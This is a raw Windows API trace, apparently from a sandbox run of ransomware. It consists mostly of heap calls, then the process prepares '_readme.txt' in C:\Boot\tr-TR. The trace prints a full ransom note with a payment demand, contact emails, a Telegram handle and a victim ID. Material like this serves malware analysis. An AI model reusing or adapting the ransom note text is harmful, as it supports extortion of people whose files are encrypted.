[0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.696] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.697] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.698] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.699] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.699] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.699] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.699] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.699] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.699] PathFindFileNameW (pszPath="") returned="" [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.699] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.699] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.699] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.699] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.699] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.700] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0112.700] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.700] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.700] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.700] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.701] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.701] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.701] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.701] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.701] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.701] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.701] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 